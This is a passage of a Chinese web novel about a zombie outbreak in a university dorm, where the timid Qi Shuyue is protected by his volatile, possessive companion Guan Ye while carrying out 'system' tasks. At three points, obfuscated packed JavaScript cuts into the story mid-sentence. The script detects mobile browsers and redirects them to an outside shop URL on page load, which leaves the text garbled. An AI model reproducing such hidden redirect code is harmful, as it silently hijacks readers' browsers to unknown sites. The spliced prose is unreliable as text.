“嗯嗯。”齐疏月想,异变期的副作用发作应当没那么快,反正现在的观野看起来都还很善解人意来着。 齐疏月要上床休息,本来只是将空间腾给观野的借口,却没想到精神放松下来后,身体也很快地陷入了疲累,抱着热水袋在一片过于静谧的空间中睡着了。 倒是半夜懵懵懂懂醒来一次,见床帘缝隙中映出一道人影。齐疏月拉开床帘,观野正闷不吭声地站在旁边,静静看着自己——这一幕说起来都有几分诡异。但是齐疏月太困,他和观野也的确太熟悉了,以至于生不出半点警惕害怕,只是睡眼惺忪地问观野:“几点了,观野你怎么不睡?” 观野的身体前倾,像是要钻进床榻当中,那双黑色眼眸在微弱光源映照下,显出点诡异的暗红。齐疏月却只是有些迷惑地往里让了让,眼睛里还含着些许困倦雾气。 “……”观野问:“今晚不和我一起睡吗?” 齐疏月这会不冷,而且还隐约记得“异变期”的事,要离观野远一些才行,于是很懂事地摇头。 观野抓着梯子的手好像更用力了,青筋暴突,但脸上的表情仍没什么变化:“以后呢。” 齐疏月:“……?” 观野:“以后也不再睡一起了?” 好怪的问题啊。齐疏月想着,他是不是在做梦?只有梦才会这么没有逻辑。 在他有些走神的同时,阳台外忽然劈过一道巨雷,奇亮的光芒几乎要撕裂整片天空,也将大地万物都映得雪亮。迟了一瞬,巨大轰鸣声随之响起,吓得齐疏月身体一颤,彻底清醒过来。 这样巨大的雷声,只要没睡死的人都能被惊醒了。 “呲啦”一声,电力忽然恢复,骤然亮起的明亮灯光刺激得人眼前发晕。 一秒、两秒…… 耳边猝然爆发出无数声极其惊恐惨烈的叫声—— 8. 末世篇(8) 末世来临了。 声控灯在不间断的吼声下不断亮起,并不稳定的电压让其闪烁不定,走廊上光辉与黑暗交错,像昭示某个腐朽诡异的世界的到来。 从每一栋楼、每一座城市、每一处被巨大闪电映亮的地方,世界各地同时被席卷入这场疯狂的灾难当中。 沉寂的黑夜强行被撕开,不论是那巨大雷声,还是凄惨的喊声,都让学生们陆陆续续从梦中醒转。 于是有人发现自己的舍友变成了皮肤泛青的怪物,湿冷的气息扑在身上的同时,大片的血肉也被撕扯下来。 “啊——!!” 剧痛下想要呼救,却被更多凄惨的声音掩盖了。 这些新生的丧尸们行动迟缓,只是有一嘴锋利獠牙和能生撕开肌肉的怪异巨力。于是有许多人幸运逃脱,拖着被咬的血肉淋漓、痛得麻木的肢体跑出来求救。 然而病毒初期的传染力快得惊人,没等他们获救,在走廊上——还有些,在那些不清楚情况好心打开门的同学的寝室里。骤然倒地、剧烈抽搐后,失去生命体征的身体重新缓缓站起来,眼眶深陷发红,面色灰败地扑向了曾经的同学。 混乱持续了有一阵,越来越多的人意识到了现在是什么情况。 大学寝室里都是年轻人,对“丧尸”这一概念也多有接触,但从没想过那些影视剧里的可怕灾难会落在自己头上。 有人听着墙边、门外,不断传来的沉闷的咚声,像是有人不间断地以一种固定频率拿头敲击一样,就几乎要吓得发疯。即便寝室还有另一人陪伴,也无法令他们得到慰藉……甚至更糟糕。 对未知的恐惧几乎完全破坏了本应有的信任,每个人都在提防曾经熟悉的朋友会变成新的怪物,这种时刻一个人待着反而更让人安心。 宿舍大群内正飞快地刷着消息,恐惧似乎都要从文字上溢出来。 【外面全都是怪物】 【不要出去!不要出去!!】 【什么时候有人来救我们?我好害怕,我寝室的人不对劲,我不敢出去,救救我,救】 【这里是地狱吗】 宿管大爷也醒了,目前状况也让他束手无措,还以为是有歹徒闯入抢劫。他用喇叭录了循环播放的提示音朝外播放,每层楼都能勉强听清。 “同学们不要慌张,情况已经通知学校后报警,大家紧锁门窗切勿外出!有需要帮助的同学可前来宿管休息室!” 大爷在宿舍大群也回着消息,一条只有三秒的语音:“小同学们不要着急,马上——啊” 一声变调的惨叫后,语音已经松手发送了出去,随后群内迎来了一片死寂,没人敢想那叫声后代表了什么,唯独机器喇叭的声音还在循环播放着。 “……有需要帮助的同学可前来宿管休息室!” “……前来宿管休息室!” “……前来……” 又一声雷电轰鸣后,喇叭的录制声忽然停止。同一时刻,正在不断发送消息的人们也发现语音条旁只剩下不断转动的小圈,一条信息也发送不出去了。 至此,每个人都成为了真正的孤岛。 * 齐疏月现在的状态很糟糕。 不断传来的惨叫声让他的脑海中也不停浮现出极血腥诡异的画面来,曾经为任务了解过的那些恐怖片情节浮现在眼前,他控制不住地在床上颤抖和微微蜷曲起来,大概因为过于紧张,胃部也传来痉挛的疼痛和强烈反胃感,让他脸色更显苍白。 害怕。 很害怕。 但齐疏月还是要忍住想呕吐的欲.望,在心里无数遍地默念任务和回家,才勉强镇定地稳住心绪,看向观野。 这一眼下去,心底又沉下去了,紧张情绪甚至压迫过了恐惧感。 观野的状态很显然也不对劲。他本来就处于“异变期”,是最不能遭受外界刺激的时候。但现在,外部环境正经历巨大变化,人类痛苦的哀嚎和越来越浓郁的血腥味,甚至足以将一个正常人逼疯,更不必提现在本就风声鹤唳的观野。 他的眼睛几乎完全由黑色转换成了血红色,像是凝结的鲜血在眼中将流淌下来,神色明显多出几分戾气,正压制着某种浓烈到可怕的情绪。 观野的身体同样轻微颤抖着,但这动作幅度,似乎又和齐疏月难以抑制的恐惧不同——更像是某种强烈到以至于外溢的攻击性,和大型野兽在攻击前会将肌肉紧绷到极致以爆发出最猛烈的力量差不多。 齐疏月又想哭了,现在都顾忌不了外界的世界末日,他先要大难临头了。 观野、观野不会打自己吧? 齐疏月看着观野那几乎不动都鼓起来的肌肉,睫毛也跟着一直颤,觉得自己根本扛不住他梆梆两拳。下意识地,就往床内又挪移了下身体。结果观野像是受到什么刺激般,一下翻身上床,原本足够大的空间被他直起的身体占据,好像一下变得狭窄和极具压迫性来。观野冷冷盯着他,一寸一寸地往里靠近,齐疏月更像是被危险扼住的小猫,一动不敢动了。 电灯在不断闪烁着,明明灭灭,齐疏月的眼睛被晃得眼花,逼出一点泪来——当然,也可能是被吓的。 “观、观野。”齐疏月绞尽脑汁地想说些什么。 他是专业人员,现在应该先安抚观野的情绪,告诉他待在房间内是安全的。不要害怕、冷静等待,当然最重要的是不要对外界有攻击性…… 结果话到嘴边的时候,舌头像是被绊了一下,齐疏月结结巴巴地说:“我、我别害怕。” 齐疏月:“……” 哪怕这种危急关头,齐疏月都快把自己气笑了,他艰难补充,“我的意思是,观野你别……” 观野忽然俯身,对齐疏月而言像是一座小山似的盖过来,吓得他一下闭上了眼睛。然后下一秒,他就被观野抱起来了。 观野以那种完全像是抱小孩的姿势把他揽在怀里,全身上下每一寸皮肤都隔着衣料被触碰,气息也交融在一处,存在感很强地让齐疏月意识到,观野把他“包围”了。 床帘落了下来,将床铺切割为一个狭窄又紧密的空间。 在两人的天地里,观野声音滞涩,像是久未曾被使用的机器齿轮那样卡顿,一字一句地蹦出来:“不,怕。” “外面,危险。” “我,保护,你。” “……”齐疏月怔住了。 异能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960864|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者在“异变期”的疯狂实则是有迹可循的。身体在进化中重构,巨大的力量塞入凡人的血肉之躯里。在承受着无与伦比的痛苦的同时,人对外界危险触觉的灵敏度也会提高百倍、千倍,这种灵敏感知是恩赐也是灾难。 曾经熟悉的一切不再安全,世界打乱重启,人会像受伤的野兽一样本能地想要隐藏自己。 这时候遭受到哪怕再微小的刺激,都会成为落进重构小世界里的陨石般喧哗,对外界的攻击性也由此而来,在异能者来看,是“外界”先对自己发起的进攻。 对于观野其实也是这样的,比常人更强悍的力量也寓意着更加强烈的痛苦,他的神智在冲击下暂时解离,尸潮爆发的危机在他的脑海中炸开千万倍,足以让他用最极端的方法、不择手段地保护和隐藏自己,比如将能看见的一切物体清除——但观野又和别的异能者有些不一样。他将眼前的人也纳入了自己所属的范围内,甚至相比起自己,拥有着更高的优先级,在那些危险陨石狂轰滥炸时,他还残留着一丝本能。 一丝要保护好齐疏月的本能。 因为齐疏月是比他更加脆弱、更容易受伤的存在。 在世界巨大的变幻中,观野来到了与齐疏月共存的那座岛屿。 齐疏月开始还在微微发抖,被人紧紧抱着,还贴这么近,他原该是不适应的。但现在的状况的确太特殊,耳边沉闷规律的心跳声盖过了丧尸行走时发出的摩挲拖行的声音,齐疏月渐渐没那么害怕了,都快眼含热泪地想要感谢主角带来的安全感。 观野人真的太好了。 就算在这种失去理智的情况下,也记得来保护自己,他真的,未免太——有职业道德了。齐疏月想。 他们保持着这个有些别扭的姿态坐了大半夜,耳边也渐渐安静下来。 大概率是能活下来的人已经清楚,发出声音很容易吸引丧尸,所以尽量保持沉寂。还有一个更糟糕的可能……这栋寝室楼里的活人越来越少了。 七楼是很具有地形优势的,身处最高层,又几乎是空房间,丧尸都是从下层慢慢汇聚上来的,数量不多。 但也因为只有702寝还有活人的气息,那些怪物也都汇聚了702的附近,一下一下碰撞敲击着大门和墙体。 寝室门尚算结实,但这么撞下来也不知能坚持多久,齐疏月好不容易静下来的心又乱了,觉得还是不能这么放任丧尸去检查建筑工程质量,多多少少抵抗一下。 于是他让观野放开自己,观野迟疑片刻,手指动了动,然后就没动静了。 齐疏月:“……” 齐疏月无奈解释:“我不走,是去搬点重物堵门。” 观野的重点却显然有所偏移,都不磕巴了,声音有些冷:“你去?” 齐疏月点头。 当然了,以往这种体力上的重活都是观野干的,但齐疏月觉得现在观野状况太特殊,还有疼痛期这把达摩克利斯之剑。相比起来,自己至少也是个行动力正常的成年人,还是能出点力的。 只下一秒,观野就松开了紧紧抱着齐疏月不放的手,很利落地翻身下了床,声音有些沉:“我,还没,死。” 齐疏月:“……?” 9. 末世篇(9) 齐疏月正困惑时,就见观野已经下手将实木的衣柜搬动,严丝合缝地堵在了门边。顿时连那些碰撞敲击声都小了不少,安全感显著提升。 齐疏月先是吃惊,观野的力气怎么感觉相较以前都更夸张许多……随后就是有些迟疑地问,“这样怎么拿衣服?” 衣柜门是朝里压着的,开不了。他现在穿的都是睡袍,冬装都还挂在衣柜里呢。 但齐疏月问完,自己都觉得有点不好意思了。现在都什么情况了,他怎么还惦记着换冬装的事,于是很贴心地说:“没事,不换也一样。” 观野:“……” 观野默不吭声又开始动手,要将衣柜调个方向。 这也太麻烦了,齐疏月觉得都怪自己话太密,于是也爬下床愧疚地道:“我来帮你——” 观野:“……” 观野的行动速度明显更加快许多。声音紧绷地蹦出几个字来:“不,用。你的腿!” 齐疏月听见观野的重音恶狠狠地落在“你的腿”上,修长漂亮的小腿顿时悬停在半空中,还以为自己做了什么越界之事,下意识地缩回来了。 缓了会,才后知后觉地意识到观野说的其实是他脚踝“受伤”的事。有些无奈,观野怎么连这个都还记得啊。 而且他其实真的没受伤来着,就是扭了下…… 天亮,雪更大了。 人类社会的行动迹象仿佛暂时在这世界上被抹去了,茫茫雪地里唯独能见到数具佝偻、僵硬的身影在漫无目的地游荡着。 门外堵着的丧尸还是很多,齐疏月对自己的战斗力十分有数,面对丧尸能跑得动都算是这段时间特训有效了。在观野顺利度过异变期之前,他们还是老实待在宿舍内比较切合实际。 好在楼内暂未断水停电,虽然电压不稳,也不清楚还能维持多久,但干净的水源暂不成问题,食物也还有一些——齐疏月先前借口“看其他同学都在寝室里放这个”,也让观野搬了些方便面、饼干之类的干粮留在寝室。当然,为了人设,齐疏月其实都没怎么碰过,只装作一时兴起的模样,到现在正好派上用场。 另外还有些齐疏月平时会吃的小零食放在寝室里,巧克力、奶酪棒之类的,数量不多,但在末日里也算优质口粮了,很方便补充能量。齐疏月大致计算了一下,食物正常情况下大概够维持半个月,不过观野的饭量是个谜,可能消耗的要比预计中快一点。 但不管怎么说,这个时间都是很有容错率的,等观野恢复,就是他们离开学校的时候了。齐疏月乐观地想。 ——齐疏月的确太乐观了。 初期丧尸没那么聪明,在长时间吃不到血肉后渐渐从门外散去。虽仍有几只丧尸不断在走廊中徘徊和发出“嗬嗬”的古怪声响,但这段时间齐疏月都快对这种动静脱敏了,不那么害怕。他和观野栖息在这座小屋子里,分享水和食物,从封闭的阳台偷偷观察外界形势,无聊了就翻书看……主要是齐疏月看书,观野看着齐疏月。 在末世里,这样平淡的日子都显得很珍稀可贵了,但齐疏月却难以不焦躁起来。 观野的“进化”好像出了问题。 主角的异变期持续了这么久还没结束,真的正常吗? 齐疏月看着观野那仍显得有些煞气的、通红的眼珠子,忍不住在心底暗暗叹气。 他不是异能者,也不知道如何帮助观野,只能重新计算剩下的物资分配,力求能坚持的更久一些。 这段时间的食物都是由齐疏月分配的,主要是观野好像变得对进食没有概念了,齐疏月递给他他就吃,不给他他也不会主动去拿,齐疏月也只好按照自己估算的食量给观野分配食物,好在观野也从不挑剔。 剩下的食物份额,也的确不多了。 在齐疏月第二次晚餐只吃半包饼干后,观野好像注意到了这点,一直盯着他看。 齐疏月擦掉唇边一点饼干渣渣,注意到观野黏过来的目光,“唔?”了一声。 观野说:“你今天吃的,好少。” 齐疏月没想到观野这么快就注意到了,有点不好意思:“食物不太够了,我不敢出去找……” 他双腿并拢,手很端正地放在腿上,看上去局促又有点乖巧。 “反正现在一天也没什么事做,睡得也久,我少吃一点没关系。” 齐疏月倒是没想过削减观野的食物分量,一个是观野现在情况也特殊——齐疏月觉得类似病人,要尽可能受到最好的对待。另一个就是后面还要靠观野杀丧尸逃出去,要是把他饿的没力气动,那就真的可以完蛋了。 话音落下,观野手中的饼干袋忽然被捏碎了,塑料袋皱在一起摩擦的声音很刺耳,有粉末从袋子里飘出来。 齐疏月都被吓了一跳,不知道为什么观野好像突然很生气的样子,看着那饼干袋都有点心有余悸,怕观野把他也当成袋子啪嗒啪嗒地折起来。 观野脸上的表情好像都空白了一瞬,眼睛更红了。他在下一秒起身,走向了摆放食物的地方。 齐疏月以为观野是被自己的话引起了焦虑,以为已经到山穷水尽的时刻,于是轻声宽慰他:“没那么糟糕,实在不行我还是会……” 齐疏月脑中闪过丧尸极狰狞的面孔,却还是咬牙道:“想想办法去找食物。” 下一秒观野就把那些巧克力棒、芝士曲奇饼之类的食物翻腾出来了,他的记忆还没完全回笼,但记得齐疏月喜欢吃这个。一股脑地全都堆到了齐疏月的面前,“都给你。” 一些过去的画面在脑海中闪烁。 齐疏月是很娇气的,用餐从来都是大厨精心特制,可即便是这样,他也每天吃的很少,像猫似的。 观野最开始跟着齐疏月的时候,就觉得他被娇惯的不可思议。 齐疏月和他是两个世界的人,如果这样的小少爷出生在他所在的环境里,应该会很快夭折。 他很脆弱、柔软……而美丽。 也很难养。 这种念头也随着日复一日的接触开始有了更透彻的理解。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960865|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或许齐疏月就是这样难养的,他本来就身处金玉堆砌之中,接收无数人的珍惜爱意,是在最苛刻的精心孕育下才能开放的玫瑰,那又有什么问题? 观野最开始来到齐疏月身边,是因为一场交易。 或许一开始是不以为意的,观野并没有那么高的使命感,甚至可称得上冷漠。就像旁人以为他是为了“报恩”——事实远远没有这么温情,对他而言,只是为了真正地和过去一刀两断才答应下来。没有任何情谊考虑掺杂其中,是纯粹的利益交换。 可是接下来的这个任务占据了他生命中的一切,观野每天不厌其烦地跟在齐疏月身边,参与进他每一个或高兴、或烦恼的瞬间。看着齐疏月失落、撒娇……齐疏月每天都在喊着“观野”,那双眼望向他时也永远明亮,好像他们从生命最初开始就这样密不可分。 始于一场利益交换的任务,变成了铭刻进本能的印记。 “会保护好你。” 他答应过齐疏月的。 他好像的确是“像模像样”地陪在齐疏月身边,可是现在呢—— 小少爷吃着前所未有的苦头。观野想,他根本没做到,齐疏月甚至连饭都吃不饱。 这个念头不断冲击着他的情志,以至于观野连精神都有点恍惚。 齐疏月站在他面前,抬起的淡茶色眼眸里透着关切,小心地问他:“观野,你还好吗?” 齐疏月的确察觉到了观野不高兴,也从他之前的举动中,隐约意识到了缘由。 心中颇感欣慰,齐疏月将那些零食都放在一旁,想了想安慰他道:“没事的,我真的不饿,这些留到以后路上吃。” 正好也挺方便随身携带的。 观野却像是又受到某种重击,齐疏月甚至看见他的身形都晃动了一下,又在下一秒,被结结实实地抱住了。 “?” 脸完完全全地埋在观野的胸肌上,齐疏月还正有些懵,当然,也有些闷……便听见观野沉闷的声音在头顶传来:“对不起。” “我现在出去找食物,”观野说,“你不要,挨饿。” 啊? 齐疏月想,其实情势也没有危机到这个程度啦,而且你现在的状态比我更不安全吧……正欲开口,便觉得有什么东西倏然掉进了自己的衣领里,那是滚烫的、湿润的一滴泪。 齐疏月倏然收声了。 过了好一会,观野松开他,平静无波的面容看不出一点异样痕迹。 对观野而言,搜寻物资和击杀丧尸的难度都不在考虑范围内,唯一需要克服的,只有要(暂时)离开齐疏月这件事本身。 他调动了极大的意志力去对抗爆发出来的抵触情绪,又根据残存的记忆,从自己的抽屉里搜出了一把改装过的手.枪。 齐疏月:“??” 齐疏月欲言又止,观野不是说自己已经不干那行了吗? 但算了,反正现在也末世了,带枪多多少少也算优势……下一秒,乌黑的枪管忽然递到了自己面前。 10. 末世篇(10) 齐疏月给自己做了会思想活动,才鼓起勇气接过枪。 他是会用枪的,之前受过这方面的基础训练,准头还行,但从没射过活靶,现在只能希冀不要太生疏。 齐疏月又问观野:“你用什么?” 观野说:“我有更趁手的武器。” 紧接着便很自然而然地继续道:“等会我先将这一层的丧尸杀光,再来回检查两遍。但以防万一,不论什么情况都不要开门。有闯入者立即开枪,我听见会赶回来……” 齐疏月先是点头,但越听越不对劲,茫然地反应过来:“等、等一下。” “我们不是一起去吗?” 毕竟观野都把枪给他了,留在宿舍的话大概率也用不上这种攻击性武器吧—— 只齐疏月说着说着,声音又低了下去,因为现在观野的神情……有些说不出来的意味。 也不是单纯可怕或者怎么,就是让齐疏月想起了尸潮爆发的那个晚上,他从观野身上感觉到的极危险的气息,仿佛强行压制的某种情绪将破土而出那样。 其实这会观野只是盯着齐疏月,血红色的眼睛很专注,甚至显出一股温情来。 他靠近齐疏月,又一次紧紧抱住了对方,低头埋在齐疏月皙白的颈项上,狠狠吸了一口,让齐疏月想到自己吸猫时的样子。 “不要去。”观野说着,语气不强势,甚至更像是祈求一般地在齐疏月耳边说着,“求求你,不要这么对我。” “……”这种语气,都让齐疏月认真回忆了一下,自己是不是真的提出了非常过分的请求,可是、可是怎么看都是让观野一个人去面对丧尸比较过分吧?何况观野身上还带着疼痛期这个炸弹。 “如果你……”后面的话,被观野含混地吞了下去,他轻声说,“齐疏月,我会发疯的。” 观野的语气骤然阴森下来,被隐藏得很好的癫狂的、扭曲的情志也不经意地泄露出分毫,顺着一股湿冷的气息落在齐疏月的颈项上。哪怕齐疏月不觉得观野会伤害自己,都因为莫名而来的一股森寒意味攀爬上脊背,而轻微颤了颤,淡茶色的眼睛有些无措地睁大了。 …… 总之最后的情况,就是这样。 齐疏月拿着那把改装的枪,神经紧绷地观察着门口,等待观野回来。 结果观野还在七层活动,他大概是清理完了丧尸,在路过702门口的时候敲了下门,隔着门和齐疏月对话:“现在还好吗?不要出来。” 齐疏月莫名放松下来,隔着门回应:“嗯嗯。” 六层的丧尸明显多了很多。观野很擅长暗杀和潜行,清除掉几只丧尸后便进入了一间敞开的寝室,顺手杀掉一只藏在衣柜角落的丧尸,便开始搜寻物资。 房间里没什么能当正餐吃的食物,但还有一箱可乐、几板巧克力、满满当当一罐还没开封的混合坚果,还有不知道什么时候的中秋节剩下来的冬瓜馅月饼。 观野对自己寻找到的食物质量实在不那么满意,想到这些是要拿给齐疏月的,因此挑挑拣拣地把月饼留下来了,才出发去搜寻下一间。 只剩下的寝室里,大多物资都已经在混乱中被搜寻走了。 观野思索片刻,转向一直在发出沉闷的敲击声的房间——这是里面原本住着的两人都变成了丧尸,也出不来,只能永不停歇地碰撞嘶吼着,也让人下意识地避开这一片区域。 观野很利落地撬开了锁,拿凳子上拆下来的钢棍击杀了两个扑过来的丧尸,将门锁上后开始搜寻。 原主人大概有一定程度的囤积癖,食物非常之多,还有些自热火锅之类的热食,此时倒是方便了观野。 他依旧是将自己看得上的食物和饮品都用一只行李箱装起来后带走,临走前,还非常真心实意地对着那两个被他一击开瓢的倒霉丧尸道了谢。 加上清理七层的丧尸,这一切做完也不过将将过去了二十分钟,但观野已经是归心似箭了。 齐疏月一直在寝室里等待着观野归来。 这一段时间里他心绪也有些七上八下,不过不是对独处的恐惧,而是一直想着现在的观野出去会不会出什么事——他和观野约定了暗号,如果有意外出现,齐疏月听见暗号会去救他。不过齐疏月也很清楚,真到那个份上,自己大概率只能起到一个口粮人数喜加一的作用。 直到观野安全归来,身上没受伤,甚至没沾上什么乱七八糟的血迹,齐疏月才松了口气,看来这一路上还算顺利。 他不在意观野带回来什么,只要能平安就是万幸了。 因此当观野打开那只行李箱时,齐疏月也是很吃惊的。这么短的时间内,能带回来这么多食物吗? 观野像是打猎回来负责哺育幼崽的猛兽似的,将里面顶好的食物都挑出来递给齐疏月:“不喜欢的话,我再去找。” 齐疏月眼睛很亮,心想不愧是主角,忍不住夸他:“观野,你好厉害。” 观野耳朵有点红了。 他们分享起新带回来的食物,只是这么一吃,齐疏月又发现问题了,观野不肯碰带回来的食物,齐疏月都有些奇怪了,小声说:“你也吃啊。” 观野只摇头不语,像是先前在外面用过餐。 只等齐疏月吃完,观野问齐疏月吃饱没有,得到答复后还观察了一会——确定是真话,才接过齐疏月吃剩下一半的酥饼若无其事地吃起来。 齐疏月:“……” 齐疏月当时就有些预感了,却没想到之后也一直如此,每次都要等他吃完食物之后,观野才会开始进食,也尤其喜欢帮他扫荡剩下的食物…… 这次观野带回来的一行李箱食物、饮品,其实足够他们接下来很长一段时间的消耗了,但观野好像因为这件事有了点心理阴影,所以在之后又去搜寻过两次物资,成果颇丰,还有一次带回来了个医药箱,里面装满了许多常规药物,在末世里显得尤为珍贵。 齐疏月还是观察不出来,观野有没有进入过疼痛期,只能感慨或许主角就是体质不同于常人的,幸运值会更高。 现在也没其他危机,齐疏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960866|193298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月唯一需要等待的,就是观野的异变期结束了。 又一次观野搜集物资回来,齐疏月帮他检查身上有没有受伤的时候忍不住道:“观野,不用再出去冒险了吧?现在的物资已经够了,我们走的时候恐怕都带不完。” 观野露出了非常明显,不加掩饰的困惑:“走?” “为什么要走?”观野认真地道:“我们一直待在这里不好吗,只有我们两个人。” 齐疏月也很迷惑,毕竟剧情也没给他“末世出现后和主角一直待在屋子里等待救援”这么个选项,那剧情谁来走啊?齐疏月磕巴了下,才说:“这样不行的,总有要出去的一天呀。” 观野略微寂静,才说:“外面很危险。” “齐疏月,你不能出去。”观野说:“你会受伤的。” 齐疏月叹气:“好吧。” 他心里当然不是这么认为的——不过齐疏月觉得,现在观野只是受了异常状态的影响,哪里有主角只想和朋友闷在寝室楼里不出去拯救世界的,所以现在也没必要争辩,只要等观野恢复了,他的想法自然就会改变了。 但齐疏月这么妥协的时候,许久不曾上线的系统下发了新的炮灰任务。 漂浮着的半透明界面伸展开,文字清晰地展现在齐疏月的眼前: [炮灰作死提示二:趁观野不注意偷偷离开房间独自行动。被发现后与其争吵,并宣称宁愿死也不想被囚禁自由。] 齐疏月:“…………” 不是,这炮灰作死提示可真作死啊…… 齐疏月想,有什么是不能好好商量的,非要做这种任性危险的事来证明决心? 而且观野哪里有囚禁他,真不是将他和其他任务者的任务弄混了吗? 齐疏月的唇角微动,很想吐槽下去,但还是忍住了。 想来这也是人设剧情的一环,毕竟炮灰就是来给主角添堵的。 这个任务对齐疏月而言难度还是挺大的,和随便得罪下孟向文不一样,“独自行动”这一点是有生命危险的,齐疏月还特别怕丧尸。以至于从接到任务起齐疏月就显得有些心事重重,观野好几次和他说话,齐疏月都显得慢一拍回应,神色恹恹。 观野目光也有几分幽深。 他猜,齐疏月大概是因为他今天说的那些话不高兴,但唯有这点是他无法退让的,于是也只能沉默地做个哑巴,两个人躺在一处都颇有些同床异梦的意味。 只要他能带回来更多的物资,齐疏月说不定就会高兴一点,不会离开了。观野想。 这也促使观野在第二天便提出要再次搜寻物资,齐疏月怔了怔,也很诧异:“这么快吗?” 但又想到,这说不定就是系统安排给自己的完成任务的时机了,于是也收回将出口的疑问,很乖巧地点了点头:“好,早些回来,观野。” 观野离开之前,像往常那样嘱咐他:“不要开门,小心一些,有闯入者就开枪。” 齐疏月点头答应,只是他自己也知道,这次是非作死不可了。 11. 末世篇(11) 听不见脚步声。 齐疏月趴在门上,终于放弃了从声音上判断观野有没有走远的打算,又等待一会,才小心翼翼地拉开门,观察外界情况。 七楼走廊很干净,甚至太干净了,只有一些角落处残留着暗棕色的血迹。 为了防止气味蔓延,观野连丧尸的尸体都打包好扔到了楼下。 齐疏月小心转悠了两圈,什么都没碰到,但是任务也没完成。 好吧,看来是不能打擦边球过任务了,齐疏月遗憾地想。要完成“独自行动”这一条件,显然不是待在被打扫干净的、暂且安全的第七层就能实现的。齐疏月小心跟着下到了第六层,一下阶梯,那股浓烈的腐臭味顿时便重了许多,齐疏月的睫毛狠狠跟着颤抖了一下,不合时宜地想着,怎么观野回来的时候,在他的身上就没闻见什么尸臭…… 第六层其实也被观野清理过几次,之前杀掉的丧尸也都被处理了。但耐不住第六层每天都有新鲜(?)的丧尸涌上来,这会观野已经去了更底下的楼层,也还剩下些没处理过的遗迹。 齐疏月就迎面撞上了一个掉在路边的丧尸头颅,眼眶和面颊都被啃干净了,一点青色的皮肉还挂在脸上,即便那奇长的獠牙透露了它已经是丧尸,但齐疏月看到这样高度近似人类尸体的存在,还是出现了强烈的心悸和恶心感——尤其,丧尸本来就是人类变成的。在半个月前,对方还是自己的同学。 再绕过去,不远处就是头首分离的那具身体了。 齐疏月的脚步又有几分滞涩。 那股浓烈的尸臭味好像更浓了,熏的齐疏月都有些头晕眼花地站不稳。他怔怔地看着,心脏跳得很快,有些喘不过气来,无法克制的恐惧像是附骨之疽般死缠着他,但除了恐惧之外,似乎又还有别的什么……齐疏月呆了一会,忽然胡乱去擦自己脸颊,才摸到一阵湿润意味,竟是哭了满脸。 吓哭的吗。齐疏月想着,自己也太不争气了。 然而在这样的情况下,齐疏月也不容许自己伤神太久,要是就这么死于走神,就太没用了。 齐疏月调整了下状态,手中金属材质的“真理”给他提供了一定的安全感,齐疏月调整了一下持枪动作,确保外置保险仍处于“Fire”位置,才一步步向前。 要达成“行动”这个条件前提,应该是指完成“搜寻物资”或者“击杀丧尸”这两点,相比起来,当然是前者比较好完成。齐疏月没有再下一层的打算,想来也知道下面会更加危险,只打算在六层搜索。 他还以为这个目标应该比较难以达成,毕竟观野肯定也搜过这了,结果刚进一个房间没多久,就看见书桌上明晃晃地摆着用塑料袋装着半兜的月饼。 打开一看,都是什么蜜瓜馅、草莓馅……还有个五仁的。 齐疏月对这种传统的老式月饼比较敬谢不敏,但现在是末世,这种糖油混合物其实很有价值。更重要的是,齐疏月拎上月饼的同时,就发现自己任务的前半条“趁观野不注意偷偷离开房间独自行动”——这条也注解完成了。只剩下后面的“被发现后与其争吵”了。 就去第七层等吧,等观野回来就假装还没来得及回房间的模样,被观野“抓个正着”就行了。 齐疏月对自己的战斗力很有数,也没有来都来了非要杀个丧尸再回去的执念,只是他拎着那一袋月饼走上楼梯的时候,忽然便生出一股极其强烈的心悸和不安。 楼梯死角多,的确是很容易引发突脸杀的地形。齐疏月脚步一下放缓,不动声色地靠着边走,在这里视觉死角被压缩到极致,可以观察楼梯上下两方的地形,可攻可守——但依旧空荡荡的,什么也没有。 手上冰冷的枪.管提供着单薄的安全感,齐疏月几乎都要以为自己是神经过敏才会如此心悸了。他又踩上一步台阶,迫不及待地想要回到自己熟悉的地界,在702门口等着观野回来……但也就是这么一瞬间,仿佛有股阴寒气息从某处飘来,齐疏月的眼睫微微一压,近乎鬼使神差地,抬头往上看了一眼。 淡茶色的瞳孔猛地收缩了一下,寒意和恐惧密密麻麻地攀爬上脊背。一只丧尸正像壁虎般悄无声息地趴在楼道前方的天花板上,那颗头颅向下拗了一圈,正直生生地盯着齐疏月,一截鲜红的舌从利齿中生出,淌着涎水。 